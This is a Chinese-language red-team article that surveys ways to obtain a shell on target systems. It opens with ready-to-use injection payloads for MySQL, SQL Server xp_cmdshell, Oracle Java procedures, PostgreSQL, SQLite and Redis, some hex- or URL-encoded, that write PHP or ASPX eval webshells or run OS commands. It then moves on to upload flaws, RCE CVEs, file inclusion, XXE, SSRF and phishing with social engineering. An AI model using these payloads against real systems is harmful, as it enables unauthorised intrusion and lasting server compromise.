Author: sm0nk@深蓝攻防实验室
无论是常规渗透测试还是攻防对抗,亦或黑灰产对抗、APT攻击,getshell 是一个从内到外的里程碑成果。我们接下来总结下常见拿shell的一些思路和方法。文中可能有一些不足之处,还望大佬不吝赐教。
一般前提条件:有权限、知道路径
mysql select 0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/var/www/html/1.php' Sql server 存储过程xp_cmdshell ;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > D://WWW//2333.aspx' ;-- Oracle 1、创建JAVA包 select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"/n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual; 2、JAVA权限 select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual; 3、创建函数 select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual; URL执行 id=602'||utl_inadd.get_host_name((select LinxRUNCMD('cmd /c dir d:/') from dual))-- postgresql COPY (select '<?php phpinfo();?>') to '/tmp/1.php'; sqlite3 ;attach database 'D://www//008.php' as tt;create TABLE tt.exp (dataz text) ; insert INTO tt.exp (dataz) VALUES (x'3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e'); redis %0D%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml2F%0D%0Aconfig%20set%20dbfilename%20shell%2Ephp%0D%0Aset%20x%2022%3C%3Fphp%20phpinfo%28%29%3B%%203F%3E%22%0D%0Asave%0D%0A
PS:oracle成功率受限于与数据库版本以及注入点
当然注入不一定都能拿到webshell,比如站库分离。但不管是否站库分离,只要权限够能够执行系统命令,反弹cmdshell 也是不错的选择。比如sa权限结合xp_cmdshell 存储过程,直接执行powershell,反弹到cobalt strike …
上传漏洞对于getshell 还是高频的,无论是前台上传点,还是后台(通过口令进入、或者XSS到后台、逻辑漏洞越权)上传点,当然也有可能要结合一些Web Server的解析漏洞。但像IIS和apache解析漏洞因为太老,现在成功概率都小很多。
类似直接的上传漏洞就可以getshell的漏洞,例如IIS PUT上传、Tomcat PUT 上传,因为落脚点最终都跟上传有关系,这个就不单独去枚举。
还有一批像一些编辑器(FCK、editor、CKedtor…)存在上传漏洞可以getshell。这一系列,一般是基于信息收集确定是否存在漏洞,然后进一步利用。(发现漏洞比利用漏洞更艺术)
这个期间可能涉及逻辑绕过、WAF对抗、杀软绕过、执行层,主要解决四点:
RCE是统称,包括远程代码执行、远程命令执行。当然这两个概念还是有意思的,比如struts2漏洞有的叫命令执行有的叫代码执行。这都不重要。一般根据触发点来命名。
Java系的OGNL 表达式注入、EL注入、反序列化
PHP系列的eval 类、伪协议类 代码执行、system类命令执行
当然反序列化漏洞基本上编程语言都有,除了漏洞利用getshell,用作免杀后门webshell也是一个不错的思路推荐。
正由于代码执行的部分结果是执行了系统命令,在命令执行的加持下,可以直接拿到应用或系统的shell,也是正统策略。
根据《2019年Web应用安全年度报告》,高频系列27个漏洞漏洞(这些漏洞都值得深入分析及利用),大部分为远程代码执行,同时RCE系列,Java 组件也占比最大。
列表如下:
Harbor API SQL注入(CVE-2019-19026/CVE-2019-19029)
Thinkcmf任意内容包含远程代码执行
泛微E-cology OA数据库配置信息泄漏
Fastjson远程拒绝服务
GhostScript远程代码执行(CVE-2019-14811)
泛微E-cology OA系统远程代码执行
Apache Solr远程代码执行(CVE-2019-0193)
FasterXML jackson-databind远程代码执行(CVE-2019-14439)
FasterXML jackson-databind远程代码执行(CVE-2019-12384)
FasterXML jackson-databind远程代码执行(CVE-2019-14379)
Xstream远程代码执行(CVE-2019-10173)
致远OA A8前台getshell
Apache axis远程代码执行
CoreMail未授权访问接口参数注入
Weblogic远程代码执行(CVE-2019-2729)
Weblogic远程代码执行(CVE-2019-2725)
Confluence远程代码执行(CVE-2019-3398)
Confluence远程代码执行(CVE-2019-3396)
Ruby On Rails任意文件读取(CVE-2019-5418)
Jenkins远程代码执行(CVE-2019-1003030)
ColdFusion远程代码执行(CVE-2019-7091)
Spring Boot Actuator远程代码执行
Drupal8 REST Module远程代码执行(CVE-2019-6340)
Jenkins远程代码执行(CVE-2019-1003000)
Apache Solr远程代码执行(CVE-2019-17558)
Fastjson远程代码执行
Jenkins远程代码执行(CVE-2019-1003000)
以上漏洞利用总结,可私M
文件包含,常见JSP、ASPx、PHP 都有包含,但主要还是PHP的包含好用。因为可以包含任意路径的任意后缀,能控制include类函数的输入结合系统特性文件或者上传的文件结合,可以拿到webshell。
JSP包含,默认情况下动态包含WEB路径下的JSP文件(静态包含可以包含任意后缀的文本文件,但不支持变量动态赋值暂不说明),2月份的CVE-2020-1938 Tomcat 文件包含漏洞,这个漏洞看上去是包含了任意格式的文件,但其实是因为AJP协议。
更多文件包含冷知识,参考 原贴
XXE漏洞,最理想的状态就是直接可以代码执行(类似PHP expert);大多数还是以文件读取信息收集为主,结合源码或者配置文件(例如/etc/shadow、tomcat-users.xml等)getshell;还可以通过XXE的SSRF进行隔山打牛式getshell。
当然对于漏洞挖掘来讲,无论是xml格式还是json格式的POST数据包都值得多关注下。说不定就有惊喜呢。
原理上SSRF可以结合所有RCE(反序列化、s2、mysql … ;github 搜索SSRFmap、ssrf_proxy)的漏洞进行组合利用,只是我们在平常实例角度用SSRF+redis未授权用的多一些。
正常的一般是通过读取web.xml 获取class文件,然后反编译,找到代码的一些漏洞。进而拿到系统的权限。当然还有文件读取加文件上传的曲折配合( 任意文件读取漏洞的曲折历程 )
发送钓鱼邮件,捆绑的马,访问即加载、点击即执行类的马。
这一类攻击一般结合社工,例如借用IT管理员发送或某领导的账号去发送(所以这时候的邮箱的0day就灰常重要了,当然如果在邮箱内部找到类似VPN或者密码表类,也不需要这么麻烦,一把梭…),可信度就高很多。对于红队来讲,钓的鱼儿还是以IT部门系列为主,普通办公区的主机权限还需要做更多的工作。
以上为本次所感所想,当然除了这种按照漏洞类型大类去分类,还有一些具体的漏洞也可以直接getshell,本次分析意义,就是在没有思路的时候,有个相对体系性思考框架。毕竟储备充足才会看上去像运气一样水到渠成,其实都是局部真相。